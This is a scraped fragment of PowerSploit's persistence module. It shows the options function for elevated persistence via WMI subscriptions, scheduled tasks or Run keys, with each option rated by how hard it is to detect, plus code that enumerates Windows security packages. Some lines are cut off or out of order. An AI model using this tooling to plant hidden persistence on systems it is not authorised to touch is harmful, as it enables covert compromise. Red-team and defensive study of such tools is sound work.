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1046 lines (787 loc) · 36.2 KB

CodeBlame

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```
1  function New-ElevatedPersistenceOption
2  {
3      <#
4      .SYNOPSIS
5
6          Configure elevated persistence options for the Add-Persistence function.
7
8          Powersploit Function: New-ElevatedPersistenceOption
9          Author: Matthew Graeber (@mattifestation)
10         License: BSD 3-Clause
11         Required Dependencies: None
12         Optional Dependencies: None
13
14     .DESCRIPTION
15
16         New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The
17
18     .PARAMETER PermanentWMI
19
20         Persist via a permanent WMI event subscription. This option will be the most difficult to detect
21
22         Detection Difficulty:          Difficult
23         Removal Difficulty:           Difficult
24         User Detectable?              No
```

```

25 .PARAMETER ScheduledTask
26
27 Persist via a scheduled task.
28
29
30 Detection Difficulty:      Moderate
31 Removal Difficulty:      Moderate
32 User Detectable?        No
33
34 .PARAMETER Registry
35
36 Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option
37
38 Detection Difficulty:      Easy
39 Removal Difficulty:      Easy
40 User Detectable?        Yes
41
42 .PARAMETER AtLogon
43
44 Starts the payload upon any user logon.
45
46 .PARAMETER AtStartup
47
48 Starts the payload within 240 and 325 seconds of computer startup.
49
50 .PARAMETER OnIdle
51
52 Starts the payload after one minute of idling.
53
54 .PARAMETER Daily
55
56 Starts the payload daily.
57
58 .PARAMETER At
59
60 Starts the payload at the specified time. You may specify times in the following formats: '12:30 PM'
61
62 .EXAMPLE
63
64 C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
65
66 .EXAMPLE
67
68 C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
69
70 .EXAMPLE

```

```
71
72     C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
73
74     .LINK
75
76     http://www.exploit-monday.com
77     #>
78
79     [CmdletBinding()] Param (
80         [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
81         [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
82         [Switch]
83         $PermanentWMI,
84
85         [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
86         [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
87         [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
88         [Switch]
89         $ScheduledTask,
90
91         [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
92         [Switch]
93         $Registry,
94
95         [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
96         [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
97         [Switch]
98         $Daily,
99
100        [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
101        [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
102        [DateTime]
103        $At,
104
105        [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
106        [Switch]
107        $OnIdle,
108
109        [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
110        [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
111        [Switch]
112        $AtLogon,
113
114        [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
115        [Switch]
116        $AtStartup
```

117        )







































```
973     $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000)
974     $SECPKG_FLAG = $EnumBuilder.CreateType()
975
976     $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection]
977     $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public')
978     $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public')
979     $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public')
980     $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public')
981     $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public')
982     $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public')
983     $SecPkgInfo = $TypeBuilder.CreateType()
984
985     $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class')
986     $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages',
```

```
987         'secur32.dll',
988         'Public, Static',
989         [Reflection.CallingConventions]::Standard,
990         [Int32],
991         [Type[]] @([Int32].MakeByRefType(),
992                   [IntPtr].MakeByRefType()),
993         [Runtime.InteropServices.CallingConvention]::Winapi,
994         [Runtime.InteropServices.CharSet]::Ansi)
995
996     $Secur32 = $TypeBuilder.CreateType()
997
998     $PackageCount = 0
999     $PackageArrayPtr = [IntPtr]::Zero
1000     $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr)
1001
1002     if ($Result -ne 0)
1003     {
1004         throw "Unable to enumerate security packages. Error (0x${$Result.ToString('X8')})"
1005     }
1006
1007     if ($PackageCount -eq 0)
1008     {
1009         Write-Verbose 'There are no installed security packages.'
1010         return
1011     }
1012
1013     $StructAddress = $PackageArrayPtr
1014
1015     foreach ($i in 1..$PackageCount)
1016     {
1017         $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $Secur32)
1018         $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf($Secur32))
1019
1020         $Name = $null
1021
1022         if ($SecPackageStruct.Name -ne [IntPtr]::Zero)
1023         {
1024             $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name)
1025         }
1026
1027         $Comment = $null
1028
1029         if ($SecPackageStruct.Comment -ne [IntPtr]::Zero)
1030         {
1031             $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment)
1032         }
1033     }
```

```
1033  
1034     $Attributes = @{  
1035         Name = $Name  
1036         Comment = $Comment  
1037         Capabilities = $SecPackageStruct.fCapabilities  
1038         MaxTokenSize = $SecPackageStruct.cbMaxToken  
1039     }  
1040  
1041     $SecPackage = New-Object PSObject -Property $Attributes  
1042     $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO'  
1043  
1044     $SecPackage  
1045 }  
1046 }
```